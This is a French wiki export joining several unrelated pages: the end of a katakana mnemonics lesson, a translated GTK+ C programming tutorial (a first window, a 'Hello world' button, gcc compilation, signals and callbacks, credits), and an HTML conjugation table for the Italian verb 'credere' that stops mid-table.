ノ No == [[Image:Difference between N and So and No in japanese katakana.png|500 px|comment differencier N,So et No]] *en bleu : le N, So et No en hiragana *en noir : le N, So et No en katakana *en vert : l'ordre des traits .. *en rouge :le "mouvement" du pseudo pinceau .. pour so il faut juste regarder le haut ! = Catégorie N°3 : il ressemble au lettres occidentales = il ressemble au lettres occidentales avec un peu (?) d'imagination .. c'est les cas de *<font size="+15" color="blue">A ア</font> tourner un peu le katakana, on y croirait presque <br /><br /> *<font size="+15" color="blue">I イ</font> supprimer la barre du I (attention a ne pas le confondre avec エ(e))<br /><br /> *<font size="+15" color="blue">Ke ケ</font> tourner de 45° à gauche les katakana <br /><br /> *<font size="+15" color="blue">Te テ</font>Bon pas grand chose à dire, certain voie des poteaux '''té'''légraphique, d'autre voit aussi le Logo de la Pos'''Te''' japonaise mais je n'ai hélas pas d'image à vous proposer <br /><br /> = Catégorie N°4 : C'est des Kanji = tout les katakana sont des déformations des Kanji. c'est le cas pour trois d'entre eux qui sont de parfaite copie du kanji *チ '''chi''' vient de mille qui se dit '''chi''' ou sen. Il faut penser à la préfecture de '''Chi'''ba *ハ '''ha''' vient de '''Ha'''chi qui signifie 8 .. comment le retenir ? essayez de voir un bâton que l'on casse en deux. Ok ? et bien huit est un chiffre facilement divisible par deux !!(2*2*2=8!). *ミ '''mi''' vient de '''mi'''ttsu qui signifie trois .. bon trois traits facile .. ceux qui ont fait une prépa peuvent essayer ce petit moyen mnémotechnique (3/2) .. trois demi .. donc '''trois''' donne '''mi''' Voila la partie 1 se termine .. dans la partie 2 nous allons continuer notre périple.. Vous avez déja vus une vingtaine de Katakana suite et fin dans le prochaine épisode. Programmation GTK plus Bien debuter 3352 43343 2006-05-28T19:08:52Z 81.250.157.173 La première chose à faire est, bien sûr, de récupérer les sources de GTK et de les installer. Vous pouvez en obtenir la dernière version sur ftp.gimp.org dans le répertoire /pub/gtk. D'autres sources d'informations se trouvent sur http://www.gimp.org/gtk. GTK utilise autoconf de GNU pour se configurer. Lorsque vous l'aurez détarré, tapez ./configure --help pour consulter la liste des options. Pour commencer notre introduction à GTK, nous débuterons avec le programme le plus simple qui soit. Celui-ci créera une fenêtre de 200x200 pixels et ne pourra se terminer qu'en le tuant à partir du shell. #include <gtk/gtk.h> int main (int argc, char *argv[]) { GtkWidget *window; gtk_init (&argc, &argv); window = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_widget_show (window); gtk_main (); return 0; } Tous les programmes inclueront évidemment le fichier gtk/gtk.h qui déclare les variables, fonctions, structures, etc. qui seront utilisées par votre application GTK. La ligne : gtk_init (&argc, &argv); appelle la fonction gtk_init(gint *argc, gchar ***argv) qui sera appelée dans toutes les applications GTK. Cette fonction configure certaines choses pour nous, comme l'aspect visuel et les couleurs par défaut, puis appelle gdk_init(gint *argc, gchar ***argv). Cette dernière initialise la bibliothèque pour qu'elle puisse être utilisée, configure les gestionnaires de signaux par défaut et vérifie les paramètres passés à notre application via la ligne de commande en recherchant l'un des suivants : * --display * --debug-level * --no-xshm * --sync * --show-events * --no-show-events Elle les supprime alors de la liste des paramètres, en laissant tout ce qu'elle ne reconnaît pas pour que notre application l'analyse ou l'ignore. Ceci crée un ensemble de paramètres standards acceptés par toutes les applications GTK. Les deux lignes de code suivantes créent et affichent une fenêtre. window = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_widget_show (window); Le paramètre GTK_WINDOW_TOPLEVEL précise que l'on veut que la fenêtre créée suive l'aspect et le placement définis par le gestionnaire de fenêtres. Plutôt que de créer une fenêtre de 0x0, une fenêtre sans fenêtre fille est de 200x200 par défaut : on peut ainsi la manipuler facilement. La fonction gtk_widget_show() informe GTK que l'on a configuré le widget et qu'il peut l'afficher. La ligne suivante lance la boucle principale de traitement de GTK. gtk_main (); gtk_main() est un autre appel que vous verrez dans toute application GTK. Lorsque le contrôle atteind ce point, GTK se met en attente d'événements X (click sur un bouton, ou appui d'une touche, par exemple), de timeouts ou d'entrées-sorties fichier. Dans notre exemple simple, cependant, les événements sont ignorés. * [[Programmation GTK plus Bonjour tout le monde en GTK|« Bonjour tout le monde » en GTK]] * [[Programmation GTK plus Compilation de Bonjour tout le monde|Compilation de « Bonjour tout le monde »]] * [[Programmation GTK plus Theorie des signaux et des rappels|Théorie des signaux et des rappels]] * [[Programmation GTK plus Bonjour tout le monde pas a pas|« Bonjour tout le monde » pas à pas]] Programmation GTK plus Bonjour tout le monde en GTK 3353 14870 2005-04-25T22:21:27Z 82.66.165.161 OK, écrivons un programme avec un widget (bouton). C'est le classique « Bonjour tout le monde » à la sauce GTK. #include <gtk/gtk.h> /* fonction de rappel. Dans cet exemple, les paramètres sont ignorés... * Les fonctions de rappel sont détaillées plus loin. */ void hello (GtkWidget *widget, gpointer data) { g_print ("Bonjour tout le monde.\n"); } gint delete_event(GtkWidget *widget, GdkEvent *event, gpointer data) { g_print ("le signal delete_event est survenu.\n"); /* Si l'on renvoit TRUE dans le gestionnaire du signal "delete_event", * GTK émettra le signal "destroy". Retourner FALSE signifie que l'on * ne veut pas que la fenêtre soit détruite. * Utilisé pour faire apparaître des boîtes de dialogue du type * « Êtes-vous sûr de vouloir quitter ? » */ /* Remplacez FALSE par TRUE et la fenêtre principale sera détruite par * un signal « delete_event ». */ return (FALSE); } /* Autre fonction de rappel */ void destroy (GtkWidget *widget, gpointer data) { gtk_main_quit (); } int main (int argc, char *argv[]) { /* GtkWidget est le type pour déclarer les widgets. */ GtkWidget *window; GtkWidget *button; /* Cette fonction est appelée dans toutes les applications GTK. * Les paramètres passés en ligne de commande sont analysés et * retournés à l'application. */ gtk_init (&argc, &argv); /* Création d'une nouvelle fenêtre. */ window = gtk_window_new (GTK_WINDOW_TOPLEVEL); /* Lorsque la fenêtre reçoit le signal "delete_event" * (envoyé par le gestionnaire de fenêtres en utilisant l'option * « close » ou la barre de titre), on lui demande d'appeler la * fonction delete_event() définie plus haut. La donnée passée en * paramètre à la fonction de rappel est NULL et est ignoré dans le * rappel. */ gtk_signal_connect (GTK_OBJECT (window), "delete_event", GTK_SIGNAL_FUNC (delete_event), NULL); /* Ici, on connecte l'évenement "destroy" à un gestionnaire de signal. * Cet événement arrive lorsqu'on appelle gtk_widget_destroy() sur la * fenêtre, ou si l'on retourne TRUE dans le rappel "delete_event". */ gtk_signal_connect (GTK_OBJECT (window), "destroy", GTK_SIGNAL_FUNC (destroy), NULL); /* Configuration de la largeur du contour de la fenêtre. */ gtk_container_border_width (GTK_CONTAINER (window), 10); /* Création d'un nouveau bouton portant le label * "Bonjour tout le monde". */ button = gtk_button_new_with_label ("Bonjour tout le monde"); /* Quand le bouton recevra le signal "clicked", il appellera la * fonction hello() définie plus haut en lui passant NULL en paramètre. */ gtk_signal_connect (GTK_OBJECT (button), "clicked", GTK_SIGNAL_FUNC (hello), NULL); /* Ceci provoquera la destruction de la fenêtre par appel de la * fonction gtk_widget_destroy(window) lors du signal "clicked". * Le signal de destruction pourrait venir de là, ou du * gestionnaire de fenêtres. */ gtk_signal_connect_object (GTK_OBJECT (button), "clicked", GTK_SIGNAL_FUNC (gtk_widget_destroy), GTK_OBJECT (window)); /* Insertion du bouton dans la fenêtre (container gtk). */ gtk_container_add (GTK_CONTAINER (window), button); /* L'étape finale consiste à afficher ce nouveau widget... */ gtk_widget_show (button); /* ... et la fenêtre. */ gtk_widget_show (window); /* Toutes les applications GTK doivent avoir un gtk_main(). * Le déroulement du programme se termine là et attend qu'un * événement survienne (touche pressée ou événement souris). */ gtk_main (); return 0; } Programmation GTK plus Compilation de Bonjour tout le monde 3354 31005 2006-01-31T14:50:27Z 128.178.184.14 Supposons que vous avez sauvegardé le code précédent dans un fichier nommé bonjour.c, pour le compiler tapez la commande suivante : gcc -Wall -g bonjour.c -o bonjour_monde -L/usr/X11R6/lib \ -lgtk -lgdk -lglib -lXext -lX11 -lm Les bibliothèques invoquées ci-dessus doivent toutes être dans vos chemins de recherche par défaut, sinon, ajoutez -L<library directory> pour que gcc recherche dans ces répertoires les bibliothèques nécessaires. Sur mon système Debian GNU/Linux, par exemple, je dois ajouter -L/usr/X11R6/lib pour qu'il trouve les bibliothèques X11 (NdT : et c'est pareil sur mon système Red Hat Linux...). L'ordre des bibliothèques est important. L'éditeur de liens doit connaître les fonctions d'une bibliothèque dont il a besoin avant de les traiter. Si vous compilez en utilisant des bibliothèques statiques, l'ordre dans lequel vous listez les bibliothèques devient très important. L'exemple donné ci-dessus devrait fonctionner dans tous les cas. Les bibliothèques que l'on utilise sont : * La bibliothèque glib (-lglib), qui contient diverses fonctions. Seule g_print() est utilisée dans cet exemple. GTK est construit au dessus de glib et vous aurez donc toujours besoin de celle-ci. Voir la section concernant glib pour plus de détails. * La bibliothèque GDK (-lgdk), l'enveloppe de Xlib. * La bibliothèque GTK (-lgtk), la bibliothèque des widgets, construite au dessus de GDK. * La bibliothèque Xlib (-lX11 utilisée par GDK. * La bibliothèque Xext (-lXext). Cette dernière contient le code pour les pixmaps en mémoire partagée et les autres extensions X. * La bibliothèque mathématique (-lm). Elle est utilisée pour différentes raisons par GTK. [[Remarque]] Si vous avez des erreurs à la compilation, essayez la commande suivante : gcc test.c -o test `pkg-config --cflags --libs gtk+-2.0` Programmation GTK plus Theorie des signaux et des rappels 3356 24539 2005-10-29T09:33:19Z Motodashi 755 Avant de voir en détail le programme « Bonjour tout le monde », nous parlerons d'abord des événements et des fonctions de rappel. GTK est dirigé par les événements, ce qui signifie qu'il restera inactif dans gtk_main jusqu'à ce qu'un événement survienne et que le contrôle soit passé à la fonction appropriée. Ce passage du contrôle est réalisé en utilisant le concept de « signal ». Lorsqu'un événement survient, comme l'appui sur un bouton, le signal approprié sera « émis » par le widget qui a été pressé. C'est de cette façon que GTK réalise la plupart de son travail. Pour qu'un bouton réalise une action, on configure un gestionnaire de signal pour capturer ces signaux et appeler la fonction adéquate. Ceci est fait en utilisant une fonction comme : gint gtk_signal_connect (GtkObject *object, gchar *name, GtkSignalFunc func, gpointer func_data); Où le premier paramètre est le widget qui émettra le signal, et le deuxième est le nom du signal que l'on souhaite intercepter. Le troisième paramètre est la fonction que l'on veut appeler quand le signal est capturé, et le quatrième sont les données que l'on souhaite passer à cette fonction. La fonction spécifiée par le troisième paramètre s'appelle une « fonction de rappel » et doit être de la forme : void callback_func(GtkWidget *widget, gpointer *callback_data); Où le premier paramètre sera un pointeur vers le widget qui a émis le signal, et le second un pointeur vers les données passées par le dernier paramètre de la fonction gtk_signal_connect() décrite plus haut. Un autre appel utilisé dans l'exemple « Bonjour tout le monde » est : gint gtk_signal_connect_object (GtkObject *object, gchar *name, GtkSignalFunc func, GtkObject *slot_object); gtk_signal_connect_object() est la même chose que gtk_signal_connect() sauf que la fonction de rappel utilise un seul paramètre : un pointeur vers un objet GTK. Lorsqu'on utilise cette fonction pour connecter des signaux, le rappel doit être de cette forme : void callback_func (GtkObject *object); Où l'objet est d'ordinaire un widget. En général, on ne configure pas de rappels pour gtk_signal_connect_object. D'habitude, ceux-ci sont utilisés pour appeler une fonction GTK acceptant un simple widget ou objet comme paramètre, comme dans notre exemple. La raison pour laquelle il y a deux fonctions pour connecter les signaux est simplement de permettre aux fonctions de rappel d'avoir un nombre différent de paramètres. De nombreuses fonctions de la bibliothèque GTK n'acceptent qu'un simple pointeur vers un GtkWidget comme paramètre et vous pouvez donc utiliser gtk_signal_connect_object() pour celles-ci, tandis que pour vos fonctions vous pouvez avoir besoin d'avoir de fournir plus de données aux fonctions de rappel. Programmation GTK plus Bonjour tout le monde pas a pas 3357 24540 2005-10-29T09:37:30Z Motodashi 755 Maintenant que nous connaissons la théorie, clarifions un peu en progressant à travers le programme « Bonjour tout le monde ». Voici la fonction de rappel appelée lorsque le bouton est « clicked ». Dans notre exemple, on ignore le widget et les données mais il n'est pas difficile de faire quelque chose avec. Le prochain exemple utilisera le paramètre des données pour nous dire quel bouton a été pressé. void hello (GtkWidget *widget, gpointer *data) { g_print ("Bonjour tout le monde\n"); } Cette fonction de rappel est un peu spéciale. L'événement "delete_event" survient lorsque le gestionnaire de fenêtres l'envoie à l'application. On doit choisir ce qu'il faut faire de ces événements. On peut les ignorer, leur donner une réponse, ou simplement quitter l'application. La valeur que l'on retourne dans cette fonction de rappel permet à GTK de savoir ce qu'il a à faire. En retournant FALSE, on l'informe que l'on ne veut pas que le signal "destroy" soit émis, afin de laisser notre application tourner. En retournant TRUE, on lui demande d'émettre "destroy" qui appellera à son tour notre gestionnaire du signal "destroy". gint delete_event(GtkWidget *widget, GdkEvent *event, gpointer data) { g_print ("le signal delete_event est survenu.\n"); return (FALSE); } Voici une autre fonction de rappel qui ne fait que quitter l'application en appelant gtk_main_quit(). Il n'y a pas grand chose de plus à dire car elle est plutôt triviale : void destroy (GtkWidget *widget, gpointer *data) { gtk_main_quit (); } Je suppose que vous connaissez la fonction main()... oui, comme les autres programmes C, toutes les applications GTK en ont une. int main (int argc, char *argv[]) { La partie qui suit déclare deux pointeurs sur des structures de type GtkWidget. Ceux-ci sont utilisés plus loin pour créer une fenêtre et un bouton. GtkWidget *window; GtkWidget *button; Et revoici notre gtk_init. Comme précédemment, il initialise le toolkit et analyse les paramètres de la ligne de commande. Il supprime chaque paramètre reconnu de la liste et modifie argc et argv pour faire comme si ces paramètres n'avaient jamais existé, laissant notre application analyser les paramètres restants. gtk_init (&argc, &argv); Création d'une nouvelle fenêtre. C'est plutôt classique. La mémoire est allouée pour une structure GtkWidget et window pointe donc sur celle-ci. Cela configure une nouvelle fenêtre, mais celle-ci ne sera pas affichée tant que l'on n'a pas appelé gtk_widget_show(window) vers la fin de notre programme. window = gtk_window_new (GTK_WINDOW_TOPLEVEL); Voici maintenant un exemple de connexion d'un gestionnaire de signal à un objet : la fenêtre. Le signal "destroy" est capturé. Il est émis lorsqu'on utilise le gestionnaire de fenêtres pour tuer la fenêtre (et que l'on retourne TRUE dans le gestionnaire "delete_event"), ou lorsqu'on utilise l'appel gtk_widget_destroy() en lui passant le widget window comme objet à détruire. Ici, on appelle juste la fonction destroy() définie ci-dessus avec le paramètre NULL, ce qui quitte GTK pour nous. GTK_OBJECT et GTK_SIGNAL_FUNC sont des macros qui réalisent les conversions et les vérifications de types pour nous. Elles rendent aussi le code plus lisible. gtk_signal_connect (GTK_OBJECT (window), "destroy", GTK_SIGNAL_FUNC (destroy), NULL); La fonction suivante sert à configurer un attribut d'un objet container. Elle configure simplement la fenêtre pour qu'elle ait une zone vide autour d'elle de 10 pixels de large où aucun widget ne pourra se trouver. Il existe d'autres fonctions similaires que nous verrons dans la section sur la Configuration des attributs des widgets À nouveau, GTK_CONTAINER est une macro réalisant la conversion de type. gtk_container_border_width (GTK_CONTAINER (window), 10); Cet appel crée un nouveau bouton. Il alloue l'espace mémoire pour une nouvelle structure GtkWidget, l'initialise et fait pointer button vers elle. Ce bouton portera le label « Bonjour tout le monde » lorsqu'il sera affiché. button = gtk_button_new_with_label ("Bonjour tout le monde"); Maintenant, prenons ce bouton et faisons lui faire quelque chose d'utile. On lui attache un gestionnaire de signal pour que, lorsqu'il émettra le signal "clicked", notre fonction hello() soit appelée. On ignore les paramètres et on ne passe donc que la valeur NULL à la fonction de rappel hello(). Évidemment, le signal "clicked" est émis lorsqu'on clique sur le bouton avec la souris. gtk_signal_connect (GTK_OBJECT (button), "clicked", GTK_SIGNAL_FUNC (hello), NULL); On utilisera aussi ce bouton pour quitter notre programme, ce qui permettra d'illustrer la façon dont le signal "destroy" peut venir soit du gestionnaire de fenêtres, soit de notre programme. Quand le bouton est "clicked" comme cela est décrit plus haut, il appelle d'abord la fonction de rappel hello() puis celle-ci dans l'ordre dans lequel elles sont configurées. On peut avoir autant de fonctions de rappel que l'on désire, elles seront exécutées selon leur ordre de connexion. Puisque la fonction gtk_widget_destroy() n'accepte que GtkWidget *widget comme paramètre, on utilise ici la fonction gtk_signal_connect_object() à la place de gtk_signal_connect(). gtk_signal_connect_object (GTK_OBJECT (button), "clicked", GTK_SIGNAL_FUNC (gtk_widget_destroy), GTK_OBJECT (window)); Voici un appel de placement, qui sera expliqué en détail plus tard, mais qui est plutôt facile à comprendre. Il indique simplement à GTK que le bouton doit être placé dans la fenêtre où il s'affichera. gtk_container_add (GTK_CONTAINER (window), button); Maintenant, nous avons tout configuré comme on le souhaitait : les gestionnaires de signaux sont en place et le bouton est mis dans la fenêtre où il doit se trouver. On demande alors à GTK de « montrer » les widgets à l'écran. Le widget window est affiché en dernier afin que la fenêtre entière surgisse d'un coup plutôt que voir d'abord la fenêtre s'afficher puis ensuite le bouton apparaître à l'intérieur. Il faut dire qu'avec des exemples simples comme celui-ci, vous ne ferez pas la différence. gtk_widget_show(button); gtk_widget_show (window); Bien sûr, on appelle gtk_main() qui attendra les événements venant du serveur X et demandera aux widgets d'émettre les signaux lorsque ces événements surviendront. gtk_main (); Enfin, le return final. Il est exécuté lorsque gtk_quit() est appelé. return 0; Lorsque l'on clique sur un bouton GTK, le widget émet un signal "clicked". Afin de pouvoir utiliser cette information, notre programme configure un gestionnaire pour capturer ce signal. Ce gestionnaire appelle la fonction de notre choix. Dans notre exemple, lorsque le bouton que l'on a créé est "clicked", la fonction hello() est appelée avec le paramètre NULL, puis le gestionnaire suivant de ce signal est à son tour appelé. Il appelle la fonction gtk_widget_destroy() en lui passant le widget window comme paramètre, ce qui provoque la destruction de celui-ci. Ceci force la fenêtre à envoyer un signal "destroy", qui est capturé à son tour et appelle notre fonction de rappel destroy() qui ferme simplement GTK. Une autre façon de procéder consiste à utiliser le gestionnaire de fenêtres pour détruire la fenêtre. Cela provoquera l'émission du signal "delete_event" qui sera pris en charge par notre gestionnaire delete_event(). S'il retourne FALSE, la fenêtre restera telle quelle et rien ne se passera. Retourner TRUE forcera GTK à émettre le signal "destroy" qui, bien sûr, appelera la fonction de rappel destroy() provoquant la sortie du GTK. On remarquera que ces signaux ne sont pas les mêmes que les signaux systèmes Unix et ne sont pas implantés en utilisant ceux-ci, bien que la terminologie employée soit presque identique. Programmation GTK plus Notes du traducteur 3358 14874 2005-04-25T22:44:50Z 82.66.165.161 Ce didacticiel est Copyright (C) 1997 Ian Main Ce programme est un logiciel libre ; vous pouvez le redistribuer et/ou le modifier sous les termes de la licence publique générale GNU telle qu'elle est publiée par la Free Software Foundation ; soit la version 2 de la licence, ou (comme vous voulez) toute version ultérieure. Ce programme est distribué dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ; même sans la garantie de COMMERCIALITÉ ou d'ADÉQUATION A UN BUT PARTICULIER. Voir la licence publique générale GNU pour plus de détails. Vous devriez avoir reçu une copie de la licence publique générale GNU avec ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Éric Jacoboni. Toute remarque sur cette adaptation sera la bienvenue. Merci à Joël Bernier pour avoir initié cette adaptation, et à Vincent Renardias pour sa relecture. Programmation GTK plus Copyright 3359 14875 2005-04-25T22:45:30Z 82.66.165.161 Ce didacticiel est Copyright (C) 1997 Ian Main Ce programme est un logiciel libre ; vous pouvez le redistribuer et/ou le modifier sous les termes de la licence publique générale GNU telle qu'elle est publiée par la Free Software Foundation ; soit la version 2 de la licence, ou (comme vous voulez) toute version ultérieure. Ce programme est distribué dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ; même sans la garantie de COMMERCIALITÉ ou d'ADÉQUATION A UN BUT PARTICULIER. Voir la licence publique générale GNU pour plus de détails. Vous devriez avoir reçu une copie de la licence publique générale GNU avec ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Éric Jacoboni. Toute remarque sur cette adaptation sera la bienvenue. Merci à Joël Bernier pour avoir initié cette adaptation, et à Vincent Renardias pour sa relecture. Programmation GTK plus Remerciements 3360 14876 2005-04-25T22:46:25Z 82.66.165.161 Je voudrai remercier les personnes suivantes pour leurs contributions à ce texte : * Bawer Dagdeviren, chamele0n@geocities.com pour le didacticiel sur les menus. * Raph Levien, raph@acm.org pour bonjour tout le monde à la GTK, le placement des widgets et pour sa sagesse. Il a aussi généreusement donné un abri à ce didacticiel. * Peter Mattis, petm@xcf.berkeley.edu pour le programme GTK le plus simple et pour sa capacité à le faire :) * Werner Koch werner.koch@guug.de pour la conversion du texte original en SGML, et pour la hiérarchie des classes de widget. * Mark Crichton crichton@expert.cc.purdue.edu pour le code de l'usine à menus et pour le didacticiel de placement des tables. * Owen Taylor owt1@cornell.edu pour la section sur le widget EventBox (et le patch de la distribution). Il est aussi responsable des sections sur l'écriture de vos propres widgets GTK et de l'application exemple. Merci beaucoup à Owen pour toute son aide ! * Mark VanderBoom mvboom42@calvin.edu pour son merveilleux travail sur les widgets Notebook, Progress Bar, Dialog et File selection. Merci beaucoup, Mark ! Ton aide a été très précieuse. * Tim Janik timj@psynet.net pour son beau travail sur le widget Lists. Merci Tim :) * Rajat Datta rajat@ix.netcom.com pour son excellent travail sur le didacticiel sur les Pixmaps. * Michael K. Johnson johnsonm@redhat.com pour ses infos et le code pour les menus. * Et à tous ceux d'entre vous qui ont commenté et aidé à améliorer ce document. Merci. Programmation GTK plus Contributions 3361 14877 2005-04-25T22:47:13Z 82.66.165.161 Ce document, comme beaucoup d'autres beaux logiciels, a été créé (NdT : et traduit) par des volontaires bénévoles. Si vous vous y connaissez sur certains aspects de GTK qui ne sont pas encore documentés, soyez gentils de contribuer à ce document. Si vous décidez de contribuer, envoyez-moi (Ian Main) votre texte à slow@intergate.bc.ca. La totalité de ce document est libre et tout ajout que vous pourriez y faire doit l'être également. Ainsi, tout le monde peut utiliser n'importe quelle partie de vos exemples dans les programmes, les copies de ce document peuvent être distribuées à volonté, etc. Merci. Programmation GTK plus Conseils pour lecriture dapplications GTK 3362 14878 2005-04-25T22:47:45Z 82.66.165.161 Cette section est simplement un regroupement de lignes de conduites générales et sages, ainsi que d'astuces pour créer des applications GTK correctes. Elle est totalement inutile pour l'instant car il ne s'agit que d'une phrase :) Utilisez autoconf et automake de GNU ! Ce sont vos amis :) J'ai en projet de les présenter brièvement ici. En "ere" (Ex: credere) - (croire)) 3363 14879 2005-04-26T00:17:45Z 24.200.27.225 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">credo</div> </td> <td width="26%"> <div align="center">credevo</div> </td> <td width="27%"> <div align="center">creder&ograve;</div> </td> <td width="24%"> <div align="center">credei ou credetti</div> </td> </tr> <tr> <td width="23%"> <div align="center">credi</div> </td> <td width="26%"> <div align="center">credevi</div> </td> <td width="27%"> <div align="center">crederai</div> </td> <td width="24%"> <div align="center">credesti</div> </td> </tr> <tr> <td width="23%"> <div align="center">crede</div> </td> <td width="26%"> <div align="center">credeva</div> </td> <td width="27%"> <div align="center">creder&agrave;</div> </td> <td width="24%"> <div align="center">cred&eacute; ou credette</div> </td> </tr> <tr> <td width="23%"> <div align="center">crediamo</div> </td> <td width="26%"> <div align="center">credevamo</div> </td> <td width="27%"> <div align="center">crederemo</div> </td> <td width="24%"> <div align="center">credemmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">credete</div> </td> <td width="26%"> <div align="center">credevate</div> </td> <td width="27%"> <div align="center">crederete</div> </td> <td width="24%"> <div align="center">credeste</div> </td> </tr> <tr> <td width="23%"> <div align="center">credono</div> </td> <td width="26%"> <div align="center">credevano</div> </td> <td width="27%"> <div align="center">crederanno</div> </td> <td width="24%"> <div align="center">crederono</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho creduto</div> <td width="26%"> <div align="center">avevo creduto</div> </td> <td width="27%"> <div align="center">avr&ograve; creduto</div> </td> <td width="24%"> <div align="center">ebbi creduto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai creduto</div> </td> <td width="26%"> <div align="center">avevi creduto</div> </td> <td width="27%"> <div align="center">avrai creduto</div> </td> <td width="24%"> <div align="center">avesti creduto</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha creduto</div> </td> <td width="26%"> <div align="center">aveva creduto</div> </td> <td width="27%"> <div align="center">avr&agrave; creduto</div> </td> <td width="24%"> <div align="center">ebbe creduto</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo creduto</div> </td> <td width="26%"> <div align="center">avevamo creduto</div> </td> <td width="27%"> <div align="center">avremo creduto</div> </td> <td width="24%"> <div align="center">avemmo creduto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete creduto</div> </td> <td width="26%" height="13"> <div align="center">avevate creduto</div> </td> <td width="27%" height="13"> <div align="center">avrete creduto</div> </td> <td width="24%" height="13"> <div align="center">aveste creduto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno creduto</div> </td> <td width="26%"> <div align="center">avevano creduto</div> </td> <td width="27%"> <div align="center">avranno creduto</div> </td> <td width="24%"> <div align="center">ebbero creduto</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">creda</div> </td> <td width="26%"> <div align="center">credessi</div> </td> <td width="27%"> <div align="center">abbia creduto</div> </td> <td width="24%"> <div align="center">avessi creduto</div> </td> </tr> <tr> <td width="23%"> <div align="center">creda</div> </td> <td width="26%"> <div align="center">credessi</div> <td width="27%"> <div align="center">abbia creduto</div> </td> <td width="24%"> <div align="center">avessi creduto</div> </td> </tr> <tr> <td width="23%"> <div align="center">creda</div> </td> <td width="26%"> <div align="center">credesse</div> </td> <td width="27%"> <div align="center">abbia creduto</div> </td> <td width="24%"> <div align="center">avesse creduto</div> </td> </tr> <tr> <td width="23%"> <div align="center">crediamo</div> </td> <td width="26%"> <div align="center">credessimo</div> </td> <td width="27%"> <div align="center">abbiamo creduto</div> </td> <td width="24%"> <div align="center">avessimo creduto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">crediate</div> </td> <td width="26%" height="13"> <div align="center">credeste</div> </td> <td width="27%" height="13"> <div align="center">abbiate creduto</div> </td> <td width="24%" height="13"> <div align="center">aveste creduto</div> </td> </tr> <tr> <td width="23%"> <div align="center">credano</div> </td> <td width="26%"> <div align="center">credessero</div> </td> <td width="27%"> <div align="center">abbiano creduto</div> </td> <td width="24%"> <div align="center">avessero creduto</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">crederei</div> </td> <td width="26%"> <div align="center">avrei creduto</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">creduto</div> </td> </tr> <tr> <td width="23%"> <div align="center">crederesti</div> </td> <td width="26%"> <div align="center">avresti creduto</div> </td> <td width="27%"> <div align="center">credi</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">crederebbe</div> </td> <td width="26%"> <div align="center">avrebbe creduto</div> </td> <td width="27%"> <div align="center">creda</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">crederemmo</div> </td> <td width="26%"> <div align="center">avremmo creduto</div> </td> <td width="27%"> <div align="center">crediamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">credereste</div> </td> <td width="26%" height="13"> <div align="center">avreste creduto</div> </td> <td width="27%" height="13"> <div align="center">credete</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">crederebbero</div> </td> <td width="26%"> <div align="center">avrebbero creduto</div> </td> <td width="27%"> <div align="center">credano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div 